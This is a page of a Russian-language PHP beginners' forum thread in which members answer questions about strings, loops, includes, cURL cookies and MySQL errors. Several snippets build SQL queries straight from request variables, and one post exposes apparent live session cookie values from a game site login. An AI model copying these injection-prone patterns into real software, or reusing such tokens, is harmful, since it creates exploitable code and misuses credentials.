PDA

Просмотр полной версии : [php] Новичкам: задаем вопросы


Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 [27] 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66

Pashkela
28.11.2008, 17:35
$time_now = time();
mysql_query ("UPDATE `answer` SET dateline='$time_now ' WHERE question='$question' ");

Zircool
28.11.2008, 20:19
Здравствуйте... С помощью какой функции можно заменять такие символы?


©®™€£„“«»> и т.д.

Pashkela
28.11.2008, 20:26
На что заменять?

semtler
28.11.2008, 20:31
нужно заменить пробелы в кее на "+" :)

<?php
$key = "нужен скрипт";
echo $key;
?>

Чтобы получилось "нужен+скрипт" :)

Pashkela
28.11.2008, 20:43
echo preg_replace("/ /", "+", "нужен скрипт" );

Gifts
28.11.2008, 20:45
Zircool, echo html_entity_decode('&copy;&reg;&trade;&euro;&pound;&bdquo;&ldquo;&laquo;&raquo;&gt;',null, 'cp1252'); Если наооборот нужно их получить, то htmlentitles($in,null,'cp1252');

Pashkela preg_replace работает медленнее str_replace.

semtler
28.11.2008, 20:45
echo preg_replace("/ /", "+", "нужен скрипт" );
спс ;)

Pashkela
28.11.2008, 20:49
Pashkela preg_replace работает медленнее str_replace.

Кгб-ы в курсе. В данном случае абсолютно никакого значения наномикромегадекасекунды не играют

Gifts
28.11.2008, 20:58
Pashkela Микросекунды? set_time_limit(0);
$start=microtime(true);
$a=str_repeat('2 ',1024*1024*10);
$a=preg_replace("/ /", "+", $a);
echo microtime(true)-$start.'<br />';
$start=microtime(true);
$a=str_repeat('2 ',1024*1024*10);
$a=str_replace(" ", "+", $a);
echo microtime(true)-$start;

А переменная (читать файл) всего 20 метров. Вывод - не учи людей плохому

Pashkela
29.11.2008, 02:36
)) окей, окей, просто надо время - привыкнуть к ачаду. Заранее тут всех уважаю и внимательно слушаю, так что не сомневайтесь. Спасибо за поправку

Buffalon
29.11.2008, 14:58
)) окей, окей, просто надо время - привыкнуть к ачаду. Заранее тут всех уважаю и внимательно слушаю, так что не сомневайтесь. Спасибо за поправку
Терь я точно вспомнил тя , ты на xakere багтрек который не любит ставить `кавычки `. :p
НЕ учи людей плохому

Zircool
29.11.2008, 23:00
Доброго времени суток. Очень давно меня интересует вопрос, на ачате ни раз постил на винграде, но нигде не получил ответа... Вот опять с этой прослемой столкнулся "Повторение цикла ". Для примера, скрипт для граббинга новостей с одного новостного сайта. Код скрипта


$ch = curl_init();

curl_setopt($ch, CURLOPT_URL,$url_grub);
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_USERAGENT, "MSIE 7.0");
curl_setopt($ch, CURLOPT_TIMEOUT, 20);
$text = curl_exec($ch);
curl_close($ch);
preg_match_all("#<a href=\"\/News\/Detail\/id\/(.+)\">#",$text,$results);

for($i=0;$i<count($results[0]);$i++)
{
$urlsis="http://newsland.ru".str_replace(array('<a href="','">'),null,$results[0][$i]);
if ($urlsis!="http://newsland.ru/News/Detail/id/284971/cat/78")
{
$urlsos[]=trim($urlsis);

}
else
{}
}


////был код.....
}

else
{
}


}



Проблема в трм что при запуске этого скрипта, некоторые из грабленных новостей закачиваются на сервер по несколько раз, все зависит от того насколько велик список Url`ов с которых будет происходить граббинг, если их 1-5 то все нормально сохраняется на сервер, а если их больше 5, но начинают некоторые новости закачиваться о несколько раз.. Подскажите пожалуйста в чем может быть проблема и как её можно решить... Буду вам очень благодарен...

Pashkela
29.11.2008, 23:10
for($i=0;$i<count($results[0]);$i++)


здесь конечно, так писать нельзя

Считать массив надо до цикла, а не каждый раз в цикле, например так:

$sum = count($results[0]);
for($i=0;$i<$sum;$i++)

Иногда экономия строчки кода выходит конкретным раком:)

krypt3r
29.11.2008, 23:56
Иногда экономия строчки кода выходит конкретным раком
ну почему же

for ($sum = count ($results[0]), $i = 0; $i < $sum; $i++) {...}

:)

Pashkela
30.11.2008, 00:17
Ну так еще куда ни шло:) Исходники же просто ужос

Dimaus
30.11.2008, 00:40
<html>
<head>
</head>

<body bgcolor="#FFFFFF" text="#000000">
<table width="800" border="1">
<tr>
<td colspan="2"><?php include("head.inc"); ?></td>
</tr>
<tr>
<td width="16%"><?php include("nav.inc"); ?></td>
<td width="84%">
<?php
$a=1;
if($a==1)
{
echo include("dima.inc");
}
elseif($a=="2")
{
echo include("ema.inc");
}
elseif($a=="3")
{
echo include("sasha.inc");
}
else
{
echo "ошибка".$a;
}
</td>
</tr>
<tr>
<td colspan="2"><?php include("foot.inc"); ?></td>
</tr>
</table>
</body>
</html>

Что не так в коде???Помогите...

je0n
30.11.2008, 01:13
Что не так в коде???Помогите...
ты сначала $a сравниваешь как число ($a==1), а потом как строчки ($a=="2")
Возможно в этом, хотя я проблемы не понял. объясни что должно быть и что есть

Pashkela
30.11.2008, 01:14
)))) echo include("sasha.inc");

Ты толком скажи, что ты вывести на экран хочешь? Что у тебя в sasha.inc и прочих

ЗЫЖ ыыыыы

Dimaus
30.11.2008, 01:22
Если менять $a=1 или 2 или 3 будут в таблице выводиься разные тексы, инковкие файлыне вкладывал
Прошу чтобы проврили грамотность)

je0n
30.11.2008, 01:30
где $a=="2" и 3 кавычки убери)
или где 1 поставь)
кроме этого вроде все ровно

и еще. ты присваиваешь $a=1, а потом условия без измения $a. смысла в этом нет)
будет выводится только первое условие. короче у тя только dima будет выводится в этом коде. если я не туплю

P.S. я тебя понял. ты просто учишься, походу) убери кавычки в условиии,должно сработать

Dimaus
30.11.2008, 01:34
Ну это я понимаю, и расчитываю на это :D

je0n
30.11.2008, 01:42
$a=1;
if($a==1)
{
include("dima.inc");
}
elseif($a==2)
{
include("ema.inc");
}
elseif($a==3)
{
include("sasha.inc");
}
else
{
echo "ошибка".$a;


мути так. перед include() echo никчему))
echo - оператор вывода
include() - вставляет содержимое файла в то место где он стоит, а не возвращает содержимое этого файла. То есть в includ'e echo уже есть

echo include() - билиберда)) вот
работает так?

demo_version
30.11.2008, 02:07
У меня такой вопрос, не могу вот понять и все. . . .

Скачала WAMPSERVER, Hello World получился, а как мне теперь тот же Hello World добавить на сайт ????

Не могу понять как хтмл будет связываться с пхп ???? Что нужно сделать и как, чтобы у меня скрипты на сайте были и работали =) ????

astrologer
30.11.2008, 02:12
include() - вставляет содержимое файла в то место где он стоит, а не возвращает содержимое этого файла. То есть в includ'e echo уже есть

echo include() - билиберда)) вот Нет. Это зависит от содержания подключаемого файла.


Dimaus, switch (http://php.net/switch)($a)
{
case 1:
// do first...
break;
case 2:
// do second...
break;
case 3:
// do third...
break;
} $files = array (http://php.net/array)('dima.inc', 'ema.inc', 'sasha.inc');

if(isset($a, $files[$a - 1]))
{
include($files[$a - 1]);
}
Если на каждого пользователя по такому файлу заведено, имеет смысл использовать вместо кучи файлов базу данных.

-m0rgan-
30.11.2008, 02:53
У меня такой вопрос, не могу вот понять и все. . . .

Скачала WAMPSERVER, Hello World получился, а как мне теперь тот же Hello World добавить на сайт ????

Не могу понять как хтмл будет связываться с пхп ???? Что нужно сделать и как, чтобы у меня скрипты на сайте были и работали =) ????
Просто вставляешь в хтмл пхп код и всё ;)
Например:
<html>
<center>
ПХП в
ХТМЛ</center>
<?php
echo('hello word')
?>
</html>

en4cer
30.11.2008, 03:30
Ага, если... в AddType application/x-httpd-php стоит .html =)) А так в .php файле пишеш <br><br><? print "<Titile>TEST</title>"; ?><br><BR> или наоборот)))

PHPoozy
30.11.2008, 05:54
<input type=radio name="answer_go" value="<?echo "$answer[$i]" ?>">
<? echo "$answer[$i]" ?>
<? answer_num[] = 'perem'; ?>
<input type=hidden name="answer_num[]" id="hidden"<? echo $i; ?>" " value="voted<?echo "$i"; ?>">
<br>

[x26]VOLAND
30.11.2008, 06:27
echo include() - билиберда)) вот
работает так?Почему билиберда? Если во включаемом файле прописать RETURN XXX, то данный код будет благополучно работать.

demo_version
30.11.2008, 12:47
-m0rgan-
Спасибо!)
Но я как бы так и сделала и ничего не получилось, а файл должен оставаться с html расширением или пхп сделать ? Хотя я уже меняла и так и так, + куда я должна сохранять этот хтмл файл ?

++Norton++
30.11.2008, 14:26
Лучше сделать с расширением .php, хуже не будет. В нем можно записывать и хтмл и пхп именно так, как уже писал -m0rgan-. Сохранять созданный файл (php) нужно в директорию твоего сервера, где лежат хтмл файлы.

ntldr
30.11.2008, 15:43
Zend optimizer выдает
Fatal error: This file has expired. in Z:\home\serv\www\include\function.php on line 0
Есть варианты использования этого скрипта, но не снимая шифрование зенда?

Shaitan-Devil
30.11.2008, 18:07
НЕту.Видимо либо ошибка в скрипте либо в амом Зенде.

ntldr
30.11.2008, 18:36
НЕту.Видимо либо ошибка в скрипте либо в амом Зенде.
эта ошибка значит, что скрипт паковали триальным зендом

demo_version
30.11.2008, 18:58
++Norton++
Спасиибо большое!!! Теперь работает все =)))))

Ponchik
30.11.2008, 19:05
Хмм...
<?php
$s = 2;
var_dump($s);
echo '|';
for($i=0;$i<10;$i++) $s = $s*$s;
echo $s.'|';
var_dump($s);
?>
int(2)|1.#INF|float(INF)
Это как... Из int получилось float :rolleyes:
Это магия волшебных ковычек? :D

Gifts
30.11.2008, 19:40
Ponchik Из мануала http://ru2.php.net/manual/ru/language.types.integer.php

Превышение размера целого

Если вы определите число, превышающее пределы целого типа, оно будет интерпретировано как число с плавающей точкой. Также, если вы используете оператор, результатом работы которого будет число, превышающее пределы целого, вместо него будет возвращено число с плавающей точкой.

ss88
30.11.2008, 20:37
$time_now = time();
mysql_query ("UPDATE `answer` SET dateline='$time_now ' WHERE question='$question' ");
Я немного выпал в осадок, чувак как раз и говорил, что у него так работает, но ему нужно без определения времени в теле скрипта... а, если мы никаких преобразований не делаем, то зачем усложнять себе жизнь? Или ты не доверяешь функции NOW() из SQL???

Zircool, echo html_entity_decode('&copy;&reg;&trade;&euro;&pound;&bdquo;&ldquo;&laquo;&raquo;&gt;',null, 'cp1252'); Если наооборот нужно их получить, то htmlentitles($in,null,'cp1252');

Pashkela preg_replace работает медленнее str_replace.
Еще это можно сделать с помощью htmlspecialchars_decode()... но точно уж не регулярками )))

Buffalon
30.11.2008, 20:40
НАрод такой баянистый вопрос. Кто нить покажите полностью как отправить POST + получить куки и при следующем хапросе отправить этиже куки.
ВОт я хочу подключиться к ganjawars.ru

en4cer
30.11.2008, 21:02
НАрод такой баянистый вопрос. Кто нить покажите полностью как отправить POST + получить куки и при следующем хапросе отправить этиже куки.
ВОт я хочу подключиться к ganjawars.ru
В смысле? Я понял так:

1. Отправляем данные методом POST на ганжу
2. Получаем ответ в виде COOKIE
3. Проверяем есть ли наши COOKIE
4. Если да, то отправляем их тудаже?


<?php
phpinfo();

Gifts
30.11.2008, 21:15
en4cer о, что правда получаем сразу суперглобальный массив $_COOKIE? :-D

Buffalon отправляем пост (сокетами или курлом, как умеешь). По ответу пробегаем регуляркой:
preg_match_all('#^Set-Cookie: ([^;]*)#mi',$in,$cookie);
И добавляем к последующими запросами либо заголовок для сокетов, либо CURLOPT_COOKIE

$header.='Cookie: '.implode('; ',$cookie[1])."\r\n";
// или
curl_setopt($res,CURLOPT_COOKIE,implode('; ',$cookie[1]));

Buffalon
30.11.2008, 21:39
en4cer о, что правда получаем сразу суперглобальный массив $_COOKIE? :-D

Buffalon отправляем пост (сокетами или курлом, как умеешь). По ответу пробегаем регуляркой:
preg_match_all('#^Set-Cookie: ([^;]*)#mi',$in,$cookie);
И добавляем к последующими запросами либо заголовок для сокетов, либо CURLOPT_COOKIE

$header.='Cookie: '.implode('; ',$cookie[1])."\r\n";
// или
curl_setopt($res,CURLOPT_COOKIE,implode('; ',$cookie[1]));
Во норм , нЕА всё хочу прочитать что такое CURL и с чем его на ужин , да всё никак а вот за сообщение спс

en4cer
Я и сам знаю что да как алгоритм меня не интересует.

en4cer
30.11.2008, 22:19
en4cer о, что правда получаем сразу суперглобальный массив $_COOKIE? :-D

Buffalon отправляем пост (сокетами или курлом, как умеешь). По ответу пробегаем регуляркой:
preg_match_all('#^Set-Cookie: ([^;]*)#mi',$in,$cookie);
И добавляем к последующими запросами либо заголовок для сокетов, либо CURLOPT_COOKIE

$header.='Cookie: '.implode('; ',$cookie[1])."\r\n";
// или
curl_setopt($res,CURLOPT_COOKIE,implode('; ',$cookie[1]));

Нет! Читаем ответ после {1} :


Set-Cookie: uid=1104215; path=/; domain=.ganjawars.ru
Set-Cookie: up=c643e51718f3ae3bcfd4; path=/; domain=.ganjawars.ru
Set-Cookie: uip=171.39.123.224; path=/; domain=.ganjawars.ru
Set-Cookie: bp=3f3b4f059fc77f4543f7; path=/; domain=.ganjawars.ru
Set-Cookie: session_id=3; path=/; domain=.ganjawars.ru
Set-Cookie: au=1101517; expires=Monday, 01-Dec-08 18:15:12 GMT; path=/; domain=.ganjawars.ru
Set-Cookie: luid=1101517; expires=Monday, 01-Dec-08 18:15:12 GMT; path=/; domain=.ganjawars.ru
Set-Cookie: ipkey=1dbt2; path=/; domain=.ganjawars.ru
Location: http://www.ganjawars.ru/me/?logged

Kaimi
30.11.2008, 22:47
Да, кукисы прям без палева)

Хелпер
01.12.2008, 13:14
Как соединить 3 переменные?

переменная1@переменная2;пер еменная3

Chaak
01.12.2008, 13:30
$n = $a.'@'.$b.';'.$c

Витян
01.12.2008, 16:13
<?php include('blocks/bd.php');
if (isset($_POST['title'])) {$title = $_POST['title'];}
if (isset($_POST['meta_d'])) {$meta_d = $_POST['meta_d'];}
if (isset($_POST['meta_k'])) {$meta_k = $_POST['meta_k'];}
if (isset($_POST['date'])) {$date = $_POST['date'];}
if (isset($_POST['description'])) {$description = $_POST['description'];}
if (isset($_POST['text'])) {$text = $_POST['text'];}
if (isset($_POST['author'])) {$author = $_POST['author'];}


?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>Обработчик</title>
<link href="style.css" rel="stylesheet" type="text/css">
</head>
<body>
<table width="690" border="0" align="center" class="main_border">
<!--Подключил шапку-->
<?php include("blocks/header.php"); ?>
<tr>
<td><table width="690" border="0">
<tr>
<!--Подключил меню-->
<?php include("blocks/menu.php"); ?>
<td valign="top">

<?php
if (isset($title) && isset($meta_d) && isset($meta_k) && isset($date) && isset($description) && isset($text) && isset($author))
{
/*Пишем что можно заносить инфу в базу*/
$result = mysql_query ("INSERT INTO one (title,meta_d,meta_k,date,description,text,author) VALUES ('$title','$meta_d','$meta_k,'$date','$description ','$text','$author')");

if ($result == true) {echo "<p>Добавлено!</p>";}
else {echo "<p>Не добавлено!</p>";}
}
else

{
echo "<p>Заполните все поля</p>";
}
?>
</td>
</tr>
</table></td>
</tr>
<!--Подключил нижний .gif-->
<?php include("blocks/niz.php"); ?>
</table>
</body>
</html>

пишет Не добавлено! в чём проблема?)

still12
01.12.2008, 16:21
Что не так ...по итогу не чего в поля update[pr] и update[cy] не добавляется. Хотя значения точно разные и в некоторых случаях должны появляться 1 но их нет ((((

$db = mysql_connect("localhost", "root");
mysql_select_db("fuck5",$db);
$result4 = mysql_query("SELECT * FROM jos_comprofiler where cb_link= '$url'",$db);
while ($do = mysql_fetch_array($result4)) {

if($prr != $do[23])
{
mysql_select_db("fuck5",$db);
$result5 = mysql_query ("update `jos_comprofiler` set update[pr] = 1 where cb_link='$url'");

}

else
{
mysql_select_db("fuck5",$db);
$result6 = mysql_query ("update `jos_comprofiler` set update[pr] = 0 where cb_link='$url'");
}

}


if($xx != $do[24])
{
mysql_select_db("fuck5",$db);
$result7 = mysql_query ("update `jos_comprofiler` set update[cy] = 1 where cb_link='$url'");
}

else
{
mysql_select_db("fuck5",$db);
$result8 = mysql_query ("update `jos_comprofiler` set update[pr] = 0 where cb_link='$url'");
}

.:EnoT:.
01.12.2008, 16:51
пишет Не добавлено! в чём проблема?)
мб ошибка в sql запросе, добавь myqsl_error() и посмотри что будет выдавать
echo "<p>Не добавлено!</p>".mysql_error();
и if ($result == true) замени просто на if($result)

still12
Ничё не понял в твоём скрипте..
mysql_select_db("fuck5",$db);
зачем выбирать одну и ту же базу в каждом условии?

still12
01.12.2008, 17:21
still12
Ничё не понял в твоём скрипте..
mysql_select_db("fuck5",$db);
зачем выбирать одну и ту же базу в каждом условии?
Э...не спорю не по людцки .....эт уже имправизации пошли ...ну так щас распишу чтоб по понятнее было

Витян
01.12.2008, 17:24
добавь myqsl_error() и посмотри что будет выдаватьдобавил. пишет:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2008-11-30','Описание текста','Полный текст','Автор')' at line 1

ss88
01.12.2008, 17:52
добавил. пишет:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2008-11-30','Описание текста','Полный текст','Автор')' at line 1

попробуй так

"INSERT INTO `one` ( `title` , `meta_d` , `meta_k` , `date` , `description` , `text` , `author` )
VALUES (
'{$title}', '{$meta_d}', '{$meta_k}', '{$date}', '{$description}', '{$text}', '{$author}'
);"

still12
01.12.2008, 17:54
$db = mysql_connect("localhost", "root");

$result4 = mysql_query("SELECT * FROM jos_comprofiler where cb_link= '$url'",$db);

while ($myrow = mysql_fetch_array($result4)) {

if($myrow[23]!= $myrow[25])
{
$result5 = mysql_query ("update `jos_comprofiler` set update[pr] = 1 where cb_link='$url'");

}

else
{ $result6 = mysql_query ("update `jos_comprofiler` set update[pr] = 0 where cb_link='$url'");
}

}


if($myrow[24]!= $myrow[26])
{
$result7 = mysql_query ("update `jos_comprofiler` set update[cy] = 1 where cb_link='$url'");
}

else
{
$result8 = mysql_query ("update `jos_comprofiler` set update[cy] = 0 where cb_link='$url'");
}


-------------------------------------------------------------------------
| ссылка | pr до| cy до | pr now| cy now | значение pr|Значение тиц |
-------------------------------------------------------------------------|
|google | 7 | 60 000 | 8 |81 000 | 1 | 1 |
|yandex.ru| 8 | 150 000 | 8 | 150 000| 0 | 0 |
--------------------------------------------------------------------------
Сслыка --cb_link
pr до ---myrow[23]
cy до my row[24]
pr now myrow[25]
cy now myrow[26]
значение pr update[pr]
значение тиц update[cy]

Вот думаю теперь все понятно ...... тоесть при различных значениях в соответствующюю колонку должна ставиться 1 при одинаковых 0

Витян
01.12.2008, 18:00
попробуй такага, спасибо. заработало всё)

m0Hze
01.12.2008, 18:42
Вот мой вопрос.Постарайсь все объеснить.
Есть форма,в нее вписывают мыло в формате admin@mail.ru
Эти данные передаються в переменную $mail
Получается $mail = admin@mail.ru;
Вопрос.
Как из этой переменной,вытащить только слово admin.Тоесть все что до @ втыкнуть в другую переменную $name. Желательно на примере пожалуйста.
Тоесть.Передаеются данные - admin@mail.ru
На выхоже в скрипте должно получиться 2 переменные
$mail = admin@mail.ru;
$name = admin;

159932
01.12.2008, 18:48
$mail = explode('@',$mail);
$name = $mail[0];
-----------
preg_match('#(.+)@#',$mail,$m);
$name = $m[1];

m0Hze
01.12.2008, 18:58
preg_match('#(.+)@#',$mail,$m);
$name = $m[1];
Этот вариант почимуто не работает,не обозначает переменную $name = admin; :(

159932
01.12.2008, 19:02
ну бля .. используй первый вариант .. ну накосячил чего ..
сделай $name = $m[0];

.зы php.net !!!!!!!!!!!!!!!!!!

m0Hze
01.12.2008, 19:03
хм.2 вариант чтото тоже не катит :(
Вот что я имею.
Форма на сайте.Заполняем ее: admin@yandex.ru - она обыватсо как $who.Lfkmit все данные передаються основному скрипту,где $email = $who;
Так вот,теперь мне нужно создать переменную, $name в ней должно поместиться только admin и все.ТОесть имя владельца ящика,все что перед @ кароче.
Собственна вот так думаю понятнее.Я был бы непротив,если бы с ответом,последовало небольшое объясение,чтобы я смог понять как и что.Просто для меня то очень актуально,и хочеца все понять :)

Kaimi
01.12.2008, 19:11
Форма на сайте.Заполняем ее: admin@yandex.ru - она обыватсо как $who.Lfkmit все данные передаються основному скрипту,где $email = $who;
Так вот,теперь мне нужно создать переменную, $name в ней должно поместиться только admin и все.ТОесть имя владельца ящика,все что перед @ кароче.


list($name, $domain) = split('@', $email);

m0Hze
01.12.2008, 19:16
Блин я конечно понимаю что это сверх тяжело,но не тяжело ли вам будет объяснить,чтоэто и ка работает.Я хочу знать,что делать если случиться похожая беда.Не затруднит объяснить?)

159932
01.12.2008, 19:20
тебе уже сказали! php.net !!
а именно
php.net/explode
php.net/preg_match
php.net/split

или ты не в состоянии туда зайти и прочитать ? тебе сюда скопипастить описалово? или может своими словами рассказать ?

m0Hze
01.12.2008, 19:20
preg_match('#(.+)@#',$mail,$m);
$name = $m[1];
Немного додумал,заработало.ТОлько одна проблема осталось.Он присваивает переменной $name = admin@;
Как убрать злощастную сабаку?)

159932
01.12.2008, 19:25
preg_match('#(.+)@#',$mail,$m);
$name = $m[1];
Немного додумал,заработало.ТОлько одна проблема осталось.Он присваивает переменной $name = admin@;
Как убрать злощастную сабаку?)

какая нах собака ? если $m[0]; - то будет с собакой .. а $m[1]; - без собаки !!! :mad:

m0Hze
01.12.2008, 19:28
Все.Всем спасибо,теперь буду знать.Не стоила ратить свои нервные клетке,они не васстанавливаюца (C)

m0Hze
01.12.2008, 19:52
Еще вопрос вот назрел.
Есть 2 радио-кнопке:

<input type = "radio"
name = "system"
value = "yandex">Yandex.Ru
<input type = "radio"
name = "system"
value = "mailru">Mail.Ru

Так.Они должны выбирать,какой шаблон письма слать.
В скрипте есть переменная, которая отвечает за сообщение:

$message = *******; // текст письма

Вопрос.Собсвна,как заставить в переменную подставляться разные значения в зависимосте от выбора радио-кнопак.Понятно что назначить

$message = $system;

Так не катит.Как объяснить то...В тексте письма(шаблоны большие) естьтоже переменные,которые при отправке автоматом подставляют нужные значения.Пипец.Кароче я сам запутался,и не могу объяснить.Вообщем если ктото понел общую мысль,помогите :)
Те кто не понел,скажите что именно объяснить. =)

-----
По дефолту у меня всегда стояло просто

$message = "И тут длиннющий текст........в несколько строк.";

Но теперь,есть необходимость,менять текст в зависимости от того куда отправляется сообщение. Помогайте :)

m0Hze
01.12.2008, 20:10
Вообщем.
Если ставтить:
$message = $system;
То приходят значения value кнопки выраной.А если вписать заместо значения мое письмо,в нем имеються переменные,и они тупо приходят в письмеКак набор символов.Тоесть так и приходят переменными.Вот в этом и проблема.Этим кнопкам нужно както дать отдельные переменные,и к ним значения мои шаблоны.Но как производить тогда выбор в $message??

Gifts
01.12.2008, 20:10
m0Hze Вопрос только один, где берешь ту дрянь, которую куришь?


switch ($_POST['system'])
{
case 'yandex': //делаем всякую хрень
break;
case 'mailru': // делаем другую хрень
break;
}

rushter
01.12.2008, 20:11
код в студию

m0Hze
01.12.2008, 20:13
Дрянь называтсо Афганко,но я не курил с утра.Так что я просто уже киплю,аточнее моск.Ну сейчас попробую.Спсибки,щас посмотрю =)

m0Hze
01.12.2008, 20:14
Кодом поделица не могу.Так как ето-супер-секретны-gh'rn-наса-фбр-whe-.....PuntoSwitcher :/

m0Hze
01.12.2008, 20:18
m0Hze Вопрос только один, где берешь ту дрянь, которую куришь?


switch ($_POST['system'])
{
case 'yandex': //делаем всякую хрень
break;
case 'mailru': // делаем другую хрень
break;
}

не я канешн курю,но я вроде еще понимаю малясь.Ты ето мне дал код,который сверяет значение переменной,и вводит чтото,при совпадении.-
У меня же другой вопрос,мне нужно отправить на мыло письмо.Если выбрана кнопко ндыкс,он шлет на мыло одно,маи.ру - он шлет совсем другое.
----
Какая символична страница в теме.Я перваоткрываль!

Gifts
01.12.2008, 20:25
m0Hze Бросай курить, мой тебе совет. Напрямую использовать пост - не советую, поэтому дал такой код.

switch ($_POST['system'])
{
case 'yandex': $mail='письмо, которое я пошлю на яндекс, если выбран радиобуттон яндекс';
mailit(); //какая то твоя функция
break;
case 'mailru': // аналогично только для мейла
break;
}

m0Hze
01.12.2008, 20:26
А вот моно ли какимнить образам сделать следущее.
Вот есть ета переменная систем.Выбрале кнопку яндыкс,она несет в себе информацию - yandex.Как тока информация поступает в сам код,то например,идет присвоение.
Если $system = yandex, то эта переменная рабна $mesg1 = "Тут мое сообщение!";
$system = mailru, то эта переменная будет равна переменной $messg2 (ye или лююбой другой!Где эта переменная - наше сообщение.
И соответственно,если
$message = $system; (f $system - несет инфу "yandex", то автоматом береться переменная $mssg1, иполучаем $message = $messg1;
Ну вот както так :)

m0Hze
01.12.2008, 20:28
m0Hze Бросай курить, мой тебе совет. Напрямую использовать пост - не советую, поэтому дал такой код.

switch ($_POST['system'])
{
case 'yandex': $mail='письмо, которое я пошлю на яндекс, если выбран радиобуттон яндекс';
mailit(); //какая то твоя функция
break;
case 'mailru': // аналогично только для мейла
break;
}

mailit(); //какая то твоя функция - непонятно вот с этим (я в PHP 2 день,серьезно) что именно предлогаиш тут нацарападь?

rushter
01.12.2008, 20:34
если второй день с php,то не торопись начаинай с основ
а то ты так и будешь спрашивать...

m0Hze
01.12.2008, 20:45
switch ($_POST['system'])
{
case 'yandex': $message = 'Yandex.Ru сообщение...... $name блалала $time....';
mailit(); //какая то твоя функция
break;
case 'mailru': $message = 'Mail.Ru сообщение...... $name блалала $time....';
break;
}

Собственно вот такой расклад.Ну сообщение пришло,хрен с ним что не правильно сработала ета команда,но он пришло.
Но пришло в том виде,в каков оно вписано,тоесть переменные не выполнились в сообщении изза ' скобок. :(

159932
01.12.2008, 20:48
m0Hze
просто нет слов .. иди почитай про основы пхп!
переменные в одинарных ковычках - это обычный текст! двойные кавычки однако!!!!

m0Hze
01.12.2008, 20:48
Собствно все.Уря товарище,ура.Теперь я понел много :)
За сегоднящий день я ой как много понял :) Все работает спасибо :)

rushter
01.12.2008, 20:52
' ' в этих скобках переменный не действуют
" " Только в этих будут...

[dei]
01.12.2008, 21:02
//offtop
а в таких `` будут выполняться через шелл :)

<?php
header('Content-type: text/plain; charset=cp866');
echo `dir \\`;
?>

ss88
01.12.2008, 21:32
Блин я конечно понимаю что это сверх тяжело,но не тяжело ли вам будет объяснить,чтоэто и ка работает.Я хочу знать,что делать если случиться похожая беда.Не затруднит объяснить?)

<?
//$mail=="admin@yandex.ru";
$mailFormat=explode("@",$mail);
$name=$mailFormat[0];
?>
Этот вариант вполне рабочий,
explode($separator, $string) - разбивает строку $string на несколько строк, которые были разделены сепратором, т.е.
explode("@","admin@yandex.ru") == array(0=>'admin', 1=>'yandex.ru')
$name мы получаем, как первый элемент возвращенного массива.
Помни, что, если амперсанд встречается в строке не один раз, то строка будет разбита в соответствие с тем, что в ней присутствует не один разделитель, а несколько....

still12
01.12.2008, 21:59
Пост уже был но видимо из за пылкого интереса к товарищу балующегося травкой его проглядели

$db = mysql_connect("localhost", "root");

$result4 = mysql_query("SELECT * FROM jos_comprofiler where cb_link= '$url'",$db);

while ($myrow = mysql_fetch_array($result4)) {

if($myrow[23]!= $myrow[25])
{
$result5 = mysql_query ("update `jos_comprofiler` set update[pr] = 1 where cb_link='$url'");

}

else
{ $result6 = mysql_query ("update `jos_comprofiler` set update[pr] = 0 where cb_link='$url'");
}

}


if($myrow[24]!= $myrow[26])
{
$result7 = mysql_query ("update `jos_comprofiler` set update[cy] = 1 where cb_link='$url'");
}

else
{
$result8 = mysql_query ("update `jos_comprofiler` set update[cy] = 0 where cb_link='$url'");
}


-------------------------------------------------------------------------
| ссылка | pr до| cy до | pr now| cy now | значение pr|Значение тиц |
-------------------------------------------------------------------------|
|google | 7 | 60 000 | 8 |81 000 | 1 | 1 |
|yandex.ru| 8 | 150 000 | 8 | 150 000| 0 | 0 |
--------------------------------------------------------------------------
Сслыка --cb_link
pr до ---myrow[23]
cy до my row[24]
pr now myrow[25]
cy now myrow[26]
значение pr update[pr]
значение тиц update[cy]

Вот думаю теперь все понятно ...... тоесть при различных значениях в соответствующюю колонку должна ставиться 1 при одинаковых 0.....но этого не прроисходит...((((

Gifts
01.12.2008, 22:54
still12 Зачем так сложно?

mysql_query("update `jos_comprofiler` set update[cy] = 1 where `pr now`=`pr до`");
Аналогично для второго. Зачем создавать тысячу запросов если можно сделать один?

svesve
01.12.2008, 23:03
Подскажите где ошибка?
точно такой же практически скрипт отсылает письмо а этот нивкакую (

<script>
function dataField(f) {
var cont1 = document.zayava_1.name.value;
var cont3 = document.zayava_1.lastname.value;
var cont4 = document.zayava_1.name2.value;
if (cont1 == "" || cont3 == "" || cont4 == "" ) {
alert("Вы не ввели одно из обязательных значений");
}
else
{
document.getElementById('zayava_1').submit();
}
}</script>
<? if($punkt==-3)
{
?>
<p>Ваша заявка принята.</p>
<?

$Message="Поступила письмо с заявкой заполненное через \n";
$Message.="форму на сайте: \n";
$Message.="-------------------------------------------- \n";
$Message.="Письмо от $contact (e-mail:$email) \n";
$Message.="-------------------------------------------- \n";
$Message.="Следующего содержания: \n\n";
$Message.="Данные: \n\n";
if ($lastname != "") $Message.="Фамилия: $lastname' \n";
if ($name != "") $Message.="Имя: $name\n";
if ($name2 != "") $Message.="Отчество: $name2\n";
$Message.="Адрес: \n\n";
if ($street != "") $Message.="Улица: $street\n";
if ($house != "") $Message.="Дом: $house\n";
if ($korp != "") $Message.="Корпус: $korp\n";
if ($kv != "") $Message.="Квартира: $kv\n";
if ($floor != "") $Message.="Этаж: $floor\n";
if ($parad != "") $Message.="Парадная: $parad\n";
if ($contact != "") $Message.="Контактное лицо: $contact \n";
if ($tel != "") $Message.="Телефон для связи: $tel\n";
if ($email != "") $Message.="Email: $email\n";
$Message.="Паспортные данные: \n\n";
if ($passport != "") $Message.="Серия паспорта: $passport\n";
if ($nomer_pass != "") $Message.="Номер:*$nomer_pass\n";
if ($kem != "") $Message.="Кем выдан: $kem\n";
